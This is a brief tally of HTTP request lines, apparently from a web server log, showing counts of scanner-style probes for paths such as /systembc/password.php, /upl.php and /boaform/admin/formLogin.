2 GET /password.php HTTP/1.1
1 GET /systembc/password.php HTTP/1.0
2 GET /systembc/password.php HTTP/1.1
2 GET /upl.php HTTP/1.1
1 GET /webui/ HTTP/1.1
1 OPTIONS / HTTP/1.0
1 POST /boaform/admin/formLogin HTTP/1.1
1 POST /login HTTP/1.1
2 PRI * HTTP/2.0